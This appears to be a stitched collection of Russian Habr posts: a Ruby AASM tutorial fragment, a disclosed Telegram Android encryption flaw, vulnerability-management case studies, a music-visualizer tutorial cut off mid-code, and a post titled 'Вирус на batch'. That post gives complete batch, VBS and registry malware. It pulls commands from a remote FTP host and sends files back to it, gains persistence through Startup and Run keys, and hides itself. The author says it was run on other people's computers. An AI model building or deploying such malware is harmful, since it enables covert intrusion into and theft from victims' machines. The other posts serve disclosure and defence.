Если объект наследуется от ActiveRecord::Base, то к нему подмешивается persistence-составляющая aams. Именно для нее в первую очередь актуальны bang-методы. conversation.view! не только переведет текущее состояние объекта, но и сохранит его в БД. Так же вам никто не мешает определить aasm\_write\_state для любого объекта и делать в нем все что душа пожелает (точно так же как и aasm\_read\_state).
Посмотрим на еще пару примеров.
`aasm_state :waiting, :enter => :start_timer
aasm_state :selecting_cards
aasm_state :made_turn, :exit => lambda { unseletcted_cards.each { |c| c.destroy }
aasm_event :go do
transitions :to => :selecting_cards, :from => [:ready], :guard => :attacking?
transitions :to => :waiting, :from => [:ready], :guard => :defending?
end
aasm_event :make_turn, :success => :after_make_turn do
transitions :to => :made_turn, :from => [:selecting_cards], :on_transition => :do_make_turn
end`
Что мы видим. Во-первых callbacks.
У transition это :guard и: on\_transition. Если :guard true, то переход выполнится, если нет, то нет. :on\_transition выполняеться *во время* перехода. Например, это означает, что нельзя делать переход к следующему стейту в этом коллбэке.
У event — :success, выполняющийся после успешного завершения перехода.
У state — :enter и :exit, выполняются, соответсвенно, при входе и выходе из стейта (неважно через какой ивент и через какой переход).
Любой из этих коллбэков может быть или Symbol или Proc, в общем-то как везде.
У самого объекта — aasm\_event\_fired и aasm\_event\_failed. Если кто-то из них определен у объекта, то aasm\_event\_failed будет вызван с одним параметром (названием ивента), а aasm\_event\_fired с двумя (названием ивента и названием стейта, в которых перешел объект)
Из этого примера мы так же видим, что у ивента может быть определено сколько угодно переходов. Выполнен будет тот, у кого :from соответсвует текущему состоянию, а :guard возвращает true.
Вот в общем-то и все. Перед нами пример маленькой, но очень гибкой и расширяемой библиотеки на руби. Ну а под конец немножко самодеятельности.
<http://github.com/preprocessor/aasm>
Реализован механизм хранения стейтов в БД в виде integers. Перфоманс и все такое. Использовать просто:
`aasm_state :unread, :integer => 0
aasm_state :read, :integer => 1
aasm_state :closed, :integer => 2
Conversation.aasm_integers[:read] => 1`
Named scopes продолжают работать как надо.
<http://github.com/preprocessor/railroad_xing>
Форк форка (господа руби-разработчики, давайте-ка держать на гитхабе свои проекты хоть в каком-нибудь виде. Тренд как-никак). Добавляет поддержу aasm. В итоге получаем:
Зачем это нужно? С такой схемкой очень часто значительно проще понять и обсуждать код. Однако ее рисование займет 5-10 минут. А если моделей 10 и частенько меняются? Естественно их никто не рисует. А вот если все автоматически и удобно, то почему бы и нет.
Удачи.
Upd. Мой форк railroad\_xing теперь смерджен с оригиналом. Так что можно следить и использовать [github.com/royw/railroad\_xing/tree/master](http://github.com/royw/railroad_xing/tree/master) | https://habr.com/ru/post/64403/ | null | ru | null |
# Потенциальная уязвимость в Telegram Android
*Дисклеймер: Описанная ниже потенциальная уязвимость на данный момент исправлена: 18 декабря 2014 была обновлена версия на Google Play, 3 января 2015 были внесены [правки](https://github.com/DrKLO/Telegram/blob/2073ead37e554bdca42215129978ce46d36c45c8/TMessagesProj/src/main/java/org/telegram/android/SecretChatHelper.java) в публичный код на GitHub.*
Так сложилось, что мне необходимо было изучить исходные коды механизма шифрования, передачи и дешифрования сообщений в Telegram для мобильных платформ iOS и Android. То есть речь идет о клиентских приложениях, именно их исходники ([iOS](https://github.com/aaronraimist/Telegram-iOS), [Android](https://github.com/DrKLO/Telegram)) находятся в свободном доступе.
Так как я больше специализируюсь в iOS, то в первую очередь приступил к изучению версии для этой платформы. Потратив около дня на чтение исходников и на работу с отладчиком, я сообразил что к чему и приступил к Android версии. Несложно догадаться, что механизмы и принципы работы должны быть идентичны в силу совместимости всех платформ между собой. Но к своему удивлению я обнаружил несколько отличий в алгоритме дешифрования сообщений в Android версии, что и породило уязвимость, если можно так выразиться. Общая суть уязвимости заключается в том, что в клиентском приложении отсутствует сравнение хеша дешифрованного сообщения с оригинальным хешем, передаваемым вместе с зашифрованным сообщением. По сути отсутствует проверка подписи сообщения. Отсутствие такой проверки может позволить третьим лицам, имеющим доступ к серверу, создавать рандомную активность от лиц участвующих в секретном чате. При этом доступ к общему секретному ключу не требуется, и он остается неуязвим для третьих лиц.
Чтобы разобраться в сути, давайте для начала рассмотрим принцип обмена сообщениями. Он состоит из трех основных этапов:
1. Генерация общего секретного ключа;
2. Шифрование исходящего сообщения;
3. Дешифрование входящего сообщения.
Замечание: Я здесь намеренно опустил этапы клиент-серверного взаимодействия (установка соединения, передача/прием сообщений), так как они представляют собой точно такие же 3 этапа. То есть для шифрования/дешифрования отдельного сообщения и для передачи данных между клиентом и сервером используется один и тот же принцип защиты.
Принцип генерации общего секретного ключа построен на [протоколе Диффи-Хеллмана](https://ru.wikipedia.org/wiki/Протокол_Диффи_—_Хеллмана).
Шифрование:
1. Формируем объект, представляющий исходное сообщение;
2. В спец. поле записываем массив от 1 до 16 рандомных байт;
3. Исходный объект сериализуем в массив байт;
4. С нулевой позиции массива выделяем 4 байта и записываем длину данных в массиве;
5. Рассчитываем хеш (sha1) получившегося массива данных;
6. Рассчитываем ключ сообщения (последние 16 байт хеша);
7. На основе общего секретного ключа и ключа сообщения рассчитываем параметры для AES-256 шифрования;
8. В исходный массив данных дописываем рандомные данные до тех пор, пока длина получившегося массива не будут кратна 16 (AES требует блоки данных размером 128 бит);
9. Получившийся массив шифруем с помощью AES-256;
10. Рассчитываем хеш (sha1) общего секретного ключа;
11. Рассчитываем идентификатор общего секретного ключа (последние 8 байт хеша);
12. Формируем конечный массив данных состоящий из идентификатора общего секретного ключа (8 байт), ключа сообщения (16 байт) и зашифрованного массива данных (размер как получится).
Дешифрование:
1. Рассчитываем хеш (sha1) общего секретного ключа, который хранится локально;
2. Рассчитываем идентификатор общего секретного ключа (последние 8 байт хеша);
3. Считываем идентификатор общего секретного ключа из полученного массива данных (первые 8 байт);
4. Сравниваем с локально рассчитанным идентификатором. В случае равенства переходим к следующему пункту, иначе игнорируем сообщение;
5. Считываем ключ сообщения из полученного массива данных (следующие 16 байт);
6. На основе общего секретного ключа и ключа сообщения рассчитываем параметры для AES-256 дешифрования;
7. Считываем оставшиеся байты из полученного массива данных и дешифруем их с помощью AES-256;
8. Считываем длину сообщения из дешифрованного массива данных (первые 4 байта);
9. Проверяем длину сообщения: значение должно быть больше нуля и меньше длины оставшегося дешифрованного массива данных. Если длина валидна, то переходим к следующему пункту, иначе игнорируем сообщение;
10. В дешифрованном массиве оставляем только полезные данные (удаляем первые 4 байта и байты в конце, если длина массива превышает длину сообщения);
11. Рассчитываем хеш (sha1) дешифрованного массива данных;
12. Рассчитываем ключ сообщения (последние 16 байт хеша);
13. Сравниваем рассчитанный ключ сообщения с ключом, считанным из полученного массива данных. В случае равенства переходим к следующему пункту, иначе игнорируем сообщение;
14. Десериализуем дешифрованный массив данных в объект, представляющий полученное сообщение.
С теорией разобрались. Пришло время перейти к практике.
Рассмотрим код дешифрования сообщения для обеих платформ (в коде генерации общего секретного ключа и шифрования сообщения отличий либо ошибок найдено не было, поэтому мы его опустим). Код соответствует последней ревизии ветки master. Принципиально важные проверки пронумерованы в комментариях (1, 2 ,3).
Telegram iOS: [TGUpdateStateRequestBuilder.mm](https://github.com/aaronraimist/Telegram-iOS/blob/master/Telegraph/Telegraph/TGUpdateStateRequestBuilder.mm)
```
//———————————————————————Cut———————————————————————
int64_t keyId = 0;
[encryptedMessage.bytes getBytes:&keyId range:NSMakeRange(0, 8)];
NSData *messageKey = [encryptedMessage.bytes subdataWithRange:NSMakeRange(8, 16)];
int64_t localKeyId = 0;
NSData *key = nil;
bool keyFound = false;
if (cachedKeys != NULL)
{
auto it = cachedKeys->find(conversationId);
if (it != cachedKeys->end())
{
keyFound = true;
localKeyId = it->second.first;
key = it->second.second;
}
}
if (!keyFound)
{
key = [TGDatabaseInstance() encryptionKeyForConversationId:conversationId keyFingerprint:&localKeyId];
if (cachedKeys != NULL)
(*cachedKeys)[conversationId] = std::pair(localKeyId, key);
}
if (key != nil && keyId == localKeyId) // 1)
{
MessageKeyData keyData = [TGConversationSendMessageActor generateMessageKeyData:messageKey incoming:false key:key];
NSMutableData \*messageData = [[encryptedMessage.bytes subdataWithRange:NSMakeRange(8 + 16, encryptedMessage.bytes.length - (8 + 16))] mutableCopy];
encryptWithAESInplace(messageData, keyData.aesKey, keyData.aesIv, false);
int32\_t messageLength = 0;
[messageData getBytes:&messageLength range:NSMakeRange(0, 4)];
if (messageLength < 0 || messageLength > (int32\_t)messageData.length - 4) // 2)
TGLog(@"\*\*\*\*\* Ignoring message from conversation %lld with invalid message length", encryptedMessage.chat\_id);
else
{
NSData \*localMessageKeyFull = computeSHA1ForSubdata(messageData, 0, messageLength + 4);
NSData \*localMessageKey = [[NSData alloc] initWithBytes:(((int8\_t \*)localMessageKeyFull.bytes) + localMessageKeyFull.length - 16) length:16];
if (![localMessageKey isEqualToData:messageKey]) // 3)
TGLog(@"\*\*\*\*\* Ignoring message from conversation with message key mismatch %lld", encryptedMessage.chat\_id);
else
{
NSInputStream \*is = [[NSInputStream alloc] initWithData:messageData];
[is open];
[is readInt32];
int32\_t signature = [is readInt32];
id decryptedObject = TLMetaClassStore::constructObject(is, signature, nil, nil, nil);
//———————————————————————Cut———————————————————————
```
Telegram Android: [SecretChatHelper.java](https://github.com/DrKLO/Telegram/blob/master/TMessagesProj/src/main/java/org/telegram/android/SecretChatHelper.java)
```
//———————————————————————Cut———————————————————————
ByteBufferDesc is = BuffersStorage.getInstance().getFreeBuffer(message.bytes.length);
is.writeRaw(message.bytes);
is.position(0);
long fingerprint = is.readInt64();
byte[] keyToDecrypt = null;
boolean new_key_used = false;
if (chat.key_fingerprint == fingerprint) { // 1)
keyToDecrypt = chat.auth_key;
} else if (chat.future_key_fingerprint != 0 && chat.future_key_fingerprint == fingerprint) {
keyToDecrypt = chat.future_auth_key;
new_key_used = true;
}
if (keyToDecrypt != null) {
byte[] messageKey = is.readData(16);
MessageKeyData keyData = Utilities.generateMessageKeyData(keyToDecrypt, messageKey, false);
Utilities.aesIgeEncryption(is.buffer, keyData.aesKey, keyData.aesIv, false, false, 24, is.limit() - 24);
int len = is.readInt32();
TLObject object = TLClassStore.Instance().TLdeserialize(is, is.readInt32());
//———————————————————————Cut———————————————————————
```
Как видно из кода, в iOS версии выполняются следующие проверки:
1. Сравниваем идентификатор (хеш) общего секретного ключа из тела входящего сообщения с идентификатором (хешем) локального общего секретного ключа;
2. Сравниваем переданную длину дешифрованного сообщения с минимальной и максимальной допустимой длиной;
3. Сравниваем ключ (хеш) полученного дешифрованного сообщения с ключом (хешом) оригинального сообщения, который был передан отправителем.
В Android версии проверки 2 и 3 отсутствуют.
Рассмотрим ситуацию, в которой отсутствие этих проверок может повлиять на секретный чат:
Для конструктивного диалога позовем Алису и Боба.
И так, действующие лица:
1. Боб — собеседник №1. Для обмена сообщениями использует Telegram Android;
2. Алиса — собеседник №2. Для обмена сообщениями использует любой клиент Telegram;
3. Злоумышленник — разработчик или иное лицо имеющее физический доступ к серверу Telegram.
Сценарий:
1. Боб инициирует секретный чат с Алисой, чтобы сгенерировать общий секретный ключ по Диффи-Хеллману (запрашивает p и g с сервера; выполняет проверки; генерирует а и ga; передает ga Алисе);
2. Алиса принимает секретный чат с Бобом (запрашивает p и g с сервера, выполняет проверки, генерирует b, gb; генерирует общий секретный ключ на основе b, ga и p; передает Бобу идентификатор (хеш) общего секретного ключа и gb);
3. Боб подтверждает секретный чат с Алисой (генерирует общий секретный ключ на основе a, gb и p; сравнивает идентификатор (хеш) своего ключа с идентификатором (хешем) ключа, полученного от Алисы);
4. Алиса отправляет зашифрованное сообщение Бобу;
5. Боб получает сообщение и успешно его дешифрует;
6. Злоумышленник видит зашифрованное сообщения Алисы, отправленное Бобу. Злоумышленник не может расшифровать сообщение, так как не имеет доступа к общему секретному ключу;
7. Злоумышленник извлекает следующие данные из перехваченного зашифрованного сообщения: идентификатор (хеш) общего секретного ключа (первые 8 байт ), ключ (хеш) дешифрованного сообщения (следующие 16 байт);
8. Злоумышленник формирует новое сообщение от лица Алисы следующим образом:
* Первые 8 байт равны идентификатору (хешу) общего секретного ключа из перехваченного сообщения;
* Далее записывается массив рандомных данных длиной не менее 32 байт (16 байт — ключ (хеш) сообщения, 4 байта — длина сообщения, 4 байта — идентификатор класса (ниже станет понятно, что это), 8 байт — дополнительные данные, чтобы сформировать блок, корректной с точки зрения АES-256 длины).
9. Злоумышленник отправляет новое сообщение Бобу от лица Алисы;
10. Боб получает новое сообщение от Алисы, отправленное злоумышленником, и пытается его дешифровать:
* Считывает идентификатор (хеш) общего секретного ключа (первые 8 байт) и успешно сравнивает с идентификатором, рассчитанным локально;
* Считывает ключ (хеш) дешифрованного сообщения (следующие 16 байт);
* Рассчитывает параметры симметричного шифрования AES-256 с помощью общего секретного ключа и полученного ключа (хеша) сообщения. Полученные параметры представляет собой рандомные наборы байтов и не соответствует оригинальным параметрам шифрования;
* Полученные параметры используются для дешифрования сообщения (оставшиеся байты). Полученное на выходе сообщение представляет собой рандомный набор байт и не соответствует оригинальному сообщению. Так как на этом этапе отсутствует проверка длины и ключа (хеша) получившегося сообщения, то данные передаются для дальнейшей обработки, несмотря на их заведомую ложность;
* Из получившегося сообщения вырезаются первые 4 байта (в оригинальном сообщении эти данные представляют собой длину исходного сообщения). Далее в коде эти 4 байта нигде не используются;
* Оставшаяся часть сообщения передается в десериализатор: TLObject object = TLClassStore.Instance().TLdeserialize(is, is.readInt32());
* Первые 4 байта оставшегося сообщения интерпретируются как идентификатор класса (второй параметр в методе TLdeserialize). Класс TLClassStore содержит словарь, в котором значения представляют собой классы различных типов сообщений, а ключи — идентификаторы классов (константы длиной в 4 байта). Полное содержание словаря представлено в классе [TLClassStore.java](https://github.com/DrKLO/Telegram/blob/master/TMessagesProj/src/main/java/org/telegram/messenger/TLClassStore.java).
TLClassStore пытается найти класс соответствующий переданным 4 рандомным байтам. Если соответствие найдено, то возвращается новый объект соответствующего класса, иначе возвращается null и входящее сообщение полностью игнорируется (то есть Боб этого не заметит). В случае успеха оставшаяся часть сообщения используется для инициализации параметров созданного объекта. Далее полученный объект используется по назначению. Для Боба это будет выглядеть как рандомная активность со стороны Алисы (например, новое текстовое сообщение с рандомным содержанием).
Вероятность успешного создания объекта примерно равна 382 / 2^32 ≃ 8.9 \* 10^-8, где
382 — количество классов содержащихся в словаре;
32 — длина идентификатора класса в битах.
Вероятность, конечно, невысокая, но так как неуспешные случаи проходят незаметно для пользователя, то злоумышленник может непрерывно отправлять сообщения, ограничиваясь только шириной канала подключения клиента к серверу. В таком случае атака может быть вполне осуществимой. Если предположить, что минимальный трафик на одно сообщение может составлять около 100 байт, то потребуется около 1 ГБ трафика для гарантированного создания объекта.
Попробуем прикинуть вероятность успешной атаки в случае наличия хотя бы одной из пропущенных проверок:
При наличии проверки длины сообщения: (2^10 / 2^32) \* (382 / 2^32) ≃ 2.1 \* 10^-18, где
2^10 = 1024 — максимальная валидная длина сообщения, примерно столько памяти занимает обычное сообщение;
32 = 4 байта, столько памяти занимает длина сообщения.
При наличии проверки ключа (хеша) сообщения: (1 / 2^128) \* (382 / 2^32) ≃ 2.6 \* 10^-46, где
128 — длина ключа (хеша) сообщения.
Стоит отметить, что на других уровнях защиты проверка подписи сообщения присутствует. Например, при установке клиент-серверного соединения (используется тот же принцип, что и при обмене сообщениями): [ConnectionsManager.java](https://github.com/DrKLO/Telegram/blob/master/TMessagesProj/src/main/java/org/telegram/messenger/ConnectionsManager.java)
```
//———————————————————————Cut———————————————————————
byte[] realMessageKeyFull = Utilities.computeSHA1(data.buffer, 24, Math.min(messageLength + 32 + 24, data.limit()));
if (realMessageKeyFull == null) {
return;
}
if (!Utilities.arraysEquals(messageKey, 0, realMessageKeyFull, realMessageKeyFull.length - 16)) { // 3)
FileLog.e("tmessages", "***** Error: invalid message key");
connection.suspendConnection(true);
connection.connect();
return;
}
//———————————————————————Cut———————————————————————
```
Хоть это и выглядит немного странно, но я все-таки не думаю, что в отсутствии проверки подписи спрятан какой-то злой умысел, так как уязвимость не является критической. С другой стороны, возможно, есть и другие уязвимости, которые в паре с этой дают больший профит.
Тем не менее, на данный момент разработчики внесли необходимые правки в [Dev](https://github.com/DrKLO/Telegram/blob/dev/TMessagesProj/src/main/java/org/telegram/android/SecretChatHelper.java) ветку и обновили сборку в Google Play. Также хочется отметить тот факт, что за найденные мной недочеты разработчики выплатили вознаграждение в размере 5000$. Как говорится «не мелочь и приятно». | https://habr.com/ru/post/247409/ | null | ru | null |
# Управление уязвимостями (Vulnerability Management) — чего больше: управления или уязвимостей?
В этой статье мы хотим поделиться с вами случаями, которые происходили у наших заказчиков, и рассказать/показать/ответить на вопрос, почему управление уязвимостями – это почти всегда не про уязвимости, и простого — «мы за вас отфильтруем из 1 000 000 уязвимостей до реально важного минимума» недостаточно.
Кейс #1 «Ой, да мы сами знаем, что у нас всё плохо!»
----------------------------------------------------
***Объект:*** модуль удаленного управления (IPMI), установленный на критичных серверах — более 500 шт.
***Уязвимость:* уровень критичности (CVSS Score) — 7.8**
CVE-2013−4786 — уязвимость в протоколе IPMI, позволяющая злоумышленнику получить доступ к хэшам паролей пользователей, что приведет к несанкционированному доступу и потенциальному захвату аккаунта атакующим.
***Описание кейса:*** о самой уязвимости заказчик знал, однако по ряду причин, описанных ниже, дальше «принятия рисков» дело не пошло.
Сложность самого кейса в том, что патчи есть далеко не для всех материнских плат, использующих данный модуль, да и обновлять прошивки на таком большом количестве серверов крайне ресурсоёмко.
Были и альтернативные способы смягчения – списки доступа (ACL) на сетевом оборудовании (очень сложно так как админы сильно распределены и пользуются IPMI откуда придётся) и отключить IPMI, тут, думаю, комментарии излишни (на всякий случай: 500 распределённых серверов регулярно управлять «ногами» ради безопасности никто не будет)
Тут обычно и заканчивается история, однако с нашей стороны был произведён дополнительный анализ уязвимости и стало ясно, что хеш пароля учётной записи возвращается сервером только в случае запроса с существующим на сервере логином, поэтому было принято решение:
**1.** Изменить идентификаторы учётных записей на сложно подбираемые
Безусловно, это не панацея. И если, не торопясь, чтобы не «светиться», перебирать логины, то рано или поздно его можно будет подобрать. Но скорее всего это займёт достаточно много времени, чтобы успеть реализовать дополнительные меры.
**2.** Изменить пароль, чтобы хеш пришлось дольше брутить
Ситуация схожая с П.1 – брутить SHA1 хеш 16-ти символьного пароля придётся бесконечно долго.
Как результат, опасная уязвимость, о которой было известно, и которая могла быть легко проэксплуатирована даже Script kiddie, была закрыта минимальными ресурсами.
Кейс #2 «Мы и без вас можем скачать OpenVAS!»
---------------------------------------------
***Объект:*** все маршрутизаторы и коммутаторы внутри компании – более 350 устройств.
***Уязвимость*: уровень критичности (CVSS Score) — 10.0**
CVE-2018-0171 – уязвимость в функционале Cisco Smart Install, эксплуатация которой приводит к изменению конфигурации оборудования, в том числе изменению пароля и пропаже его у легального админа, то есть потере контроля над устройством. Таким образом, злоумышленник получит полный доступ к устройству.
***Описание кейса:*** несмотря на использование нескольких сканеров, в том числе коммерческих, данную уязвимость ни один из них не показал. Возможно, сигнатуры на тот момент были далеки от идеала по данной уязвимости, или сказалась топология сети, так или иначе – прецедент. У нас, как у компании, предоставляющей эту услугу определённое время, есть своя база с реально опасными уязвимостями, которые мы дополнительно проверяем.
Заказчик не пользовался функционалом Smart Install, поэтому само решение, ввиду сложности обновления прошивки (ещё учитывая часть оборудования out-of-date), свелось к предоставлению клиенту списка IP-адресов, по которому скриптом была выключена уязвимая служба.
Как результат, критичная уязвимость на подавляющем большинстве сетевого оборудования, которая могла остаться незамеченной, и в случае атаки бы привела к полной остановке работы всей компании, была исправлена.
Кейс #3 «Если бы хотели, нас бы уже сломали!»
---------------------------------------------
***Объект:*** контроллер домена, почтовый сервер и ряд других критичных для компании устройств/серверов/хостов
***Уязвимость:* уровень критичности (CVSS Score) — 9.3**
CVE-2017-0144 – уязвимость в протоколе SMB, позволяющая осуществить удалённое выполнение произвольного кода на сервере (через группу уязвимостей, в которую входит рассматриваемая, распространялся шифровальщик WannaCry).
***Описание кейса:*** на старте оказания услуг при плановом сканировании была обнаружена критичная уязвимость, единственно возможная рекомендация – ставить обновления ОС. Заказчик согласовал это решение, но по итогам контрольного сканирования уязвимость оставалась. После эскалации ситуации и личной встречи с Заказчиком выяснилось, что причиной послужил человеческий фактор – задача не была выполнена специалистом.
***Последствия:*** в течение нескольких дней в результате игнорирования задачи, на рабочую станцию пользователя попало вредоносное ПО, успешно распространяющееся по сети, была проэксплуатирована данная уязвимость, что привело к выходу из строя контроллера домена.
Как результат, компания понесла большие убытки (работы по восстановлению инфраструктуры заняли несколько месяцев).
```
В описанных случаях из нашей практики, мы хотели обратить внимание на то, что управление уязвимостями – сложный и не такой однозначный процесс, как может изначально показаться. Управление уязвимостями – это не только про сканеры и выявление критичных для инфраструктуры угроз, это полноценный менеджмент, требующий знаний, опыта и порой нестандартного подхода от специалистов, а также отлаженных процессов внутри компании, которые неразделимы с технической частью.
```
**Дмитрий Головня [GolovnyaD](https://habr.com/ru/users/golovnyad/)
SOC-аналитик, Акрибия** | https://habr.com/ru/post/487780/ | null | ru | null |
# Вирус на batch
Каждому хоть раз да хотелось полазить в чужих файлах без их ведома, но многих отталкивает идея скачивание различных генераторов, потому что неизвестно, что ещё в них запихнули создатели, да и антивирусы их видят на ура. Однажды мне тоже захотелось чего-нибудь да сделать. Сначала я решил освоить что-нибудь простое и необходимое и начал с командной строки, вещи как впоследствии оказалось незаменимой.
Освоив загрузку по ftp, я решил создать обыкновенный вирус для загрузки файлов с чужого компа:
`@echo Off`
`@ftp -s:ftp_com.ini -i ******.host56.com`
Rem Выбрал хостинг 000webhost.com за возможность редактировать любые текстовые файлы через интернет.
Файл ftp\_com.ini — файл в котором хранятся сначала логин и пароль, а затем ftp команды.
Затем создал файл для скрытия командной строки на vbs:
`Set oShell = WScript.CreateObject("WScript.Shell")`
`oShell.Run "Путь к файлу ", 0, False`
Затем (так как на компе Vista) скопировал этот vbs файл в автозагрузку. И для хоть какого-то скрытия сделал его скрытым системным (так как там, где я их собирался использовать даже скрытые файлы не отображаются), добавив в 1 батник(Я его назвал WinSys.cmd) 2 строки:
`copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"`
vbsmach.vbs — тот самый vbs скрипт.
Но потом, опробовав на другом компе на XP понял, что он не работает и для надёжности запихнул это в файл реестра. Он получился вот таким:
`Windows Registry Editor Version 5.00`
`[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]`
`"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinSys.cmd""`
И в теле батника пишем reg import файл реестра.reg
Затем я запустил на своём компе батник и понял, что он иногда зависает и решил сделать задержку и решил для этого сделать другой cmd-файл — WinHelp.cmd вписав в него
`ping -n 10 127.0.0.1`
`cls`
`WinSys.cmd`
Теперь надо добавить возможность управлять им хоть как-то. Для этого в файл Ftp\_com.ini надо добавить команду для загрузки и отправки файлов:
`Логин от ftp сервера`
`пароль от ftp сервера`
`get ftp_com.ini`
`get WinHelp.cmd`
`put tree.txt`
`bye`
Я решил не изменять файл WinSys.cmd, хотя это возможно сделать без проблем. Теперь на ftp-сервере загружаем все файлы и вирус готов. Но я для скрытности добавил пару строчек в файл WinSys.cmd
`copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"`
`Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"`
`%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd`
Последняя строка необходима для того, чтобы он работал постоянно.
И так он готов, но мы же не будем кому-то давать столько файлов, поэтому надо бы всё это запихнуть либо в exe файл, либо в 1 bat файл, но я выбрал первый вариант, так как многие очень боятся всех этих bat,cmd файлов, сделав это через winrar, предварительно прописав запуск файла vbsmach.vbs после разархивирования. Опробовав это я понял, что это оставляет очень много улик, поэтому я решил изменить в вирусе многое многое. Вот что получилось в WinSys.cmd:
`@ftp -s:ftp_com.ini -i ****.host56.com`
`cls`
`reg import regedit.reg`
`copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"`
`Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`del /q ftp_com.ini`
`del /q WinHelp.cmd`
`del /q vbsmach.vbs`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"`
`%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd`
А при архивирование ввёл путь %userprofile%\downloads и в файл WinHelp.cmd добавил строку
`del /q %userprofile%\WinSys.cmd`
Вот что из себя представлял вирус после его написания:
Файл WinSys.cmd
`@ftp -s:ftp_com.ini -i ****.host56.com`
`cls`
`reg import regedit.reg`
`copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"`
`Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"`
`del /q ftp_com.ini`
`del /q WinHelp.cmd`
`del /q vbsmach.vbs`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"`
`attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"`
`%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd`
Файл WInhelp.cmd, но он нужен не только для задержки, лучше всего внедрять необходимые функции для запуска файлов именно в него:
`del /q %userprofile%\WinSys.cmd`
`del /q %userprofile%\regedit.reg`
`ping -n 10 127.0.0.1`
`cls`
`WinSys.cmd`
Файл реестра — regedit.reg
`Windows Registry Editor Version 5.00`
`[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]`
`"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinHelp.cmd""`
Файл ftp\_com.ini
логин от ftp сервера
пароль
`get ftp_com.ini`
`get WinHelp.cmd`
`bye`
Как с ним работать думаю понятно. После создания архива решил проверить на virustotal [www.virustotal.com/file/da428b5c22d4730370ad2018e70eb5fed3dc2b5c7afe9e4fe93a739772aa18e1/analysis/1359883653](https://www.virustotal.com/file/da428b5c22d4730370ad2018e70eb5fed3dc2b5c7afe9e4fe93a739772aa18e1/analysis/1359883653/)
И был удивлён ни один антивирус ничего не заподозрил. Это мой первый вирус, который я решил запустить на некоторые компы, естественно на разных ftp серверах, но спустя некоторое время удалил, так как на них ничего интересного не было.
Его обнаружение конечно не составляет труда, да и функционала хватит только попугать человека ( хотя можно загрузить много всякой гадости на тот комп, но это уже другой разговор), но меня поразило, что никакая эвристика не распознала в нём ничего подозрительного. Хотя с помощью него можно просматривать чужие файлы, скачивать и запускать различные exe файлы, и.зменять реестр и прочие настройки, фактически для простенького зловреда этого достаточно, так же ты можешь создать скрытую учётную запись администратора и подключиться к не через Telnet. Хотя для этих целей можно было бы сделать его проще.
После этого я стал относится к фаерволам, как одной из наилучших защит против всякой нечести и антивирус нужен лишь для защиты от блокировщиков, да и только. | https://habr.com/ru/post/168099/ | null | ru | null |
# Мой визуализатор музыки
Давно хотел написать какой-никакой визуализатор музыки, но интересных идей не было. Потом увидел вот это — [Аудио игра «Devil's Tuning Fork»](http://habrahabr.ru/blogs/games/78687/) и захотел сделать нечто похожее.
Введение
========
Писать решил на языке [Processing](http://processing.org/), чтобы заодно посмотреть, что это за зверь.
В папке с языком валяется множество примеров и, что более важно, присутствует библиотека для работы со звуком, в которой уже реализовано [FFT](http://ru.wikipedia.org/wiki/FFT). Есть даже более важный для нас пример, где частоты делятся на три группы и на экране три слова прыгают под ритм музыки (пример называется FrequencyEnergy).
Демонстрация работы
===================
Код
===
Создаем новый проект, который в терминах Processing'a называется скетч. Скетч будет состоять из трех файлов. Первый — BeatListener, который мы просто перетянем из примера FrequencyEnergy, он нужен чтобы детектить ритм музыки. Второй — класс нашего кубика, выглядит он так:
> `[class Box {
> //позиция в пространстве
> int x,y,z;
> //размер
> int boxSize;
> //яркость (от 0 до 255)
> int bright;
>
> Box(int x, int y, int z, int boxSize) {
> this.x = x;
> this.y = y;
> this.z = z;
> this.boxSize = boxSize;
> this.bright = 0; //по дефолту черный
> }
>
> //установить яркость
> void setBright(int bright) {
> if (bright > 255) bright = 255;
> if (bright < 0) bright = 0;
> this.bright = bright;
> }
>
> //получить яркость
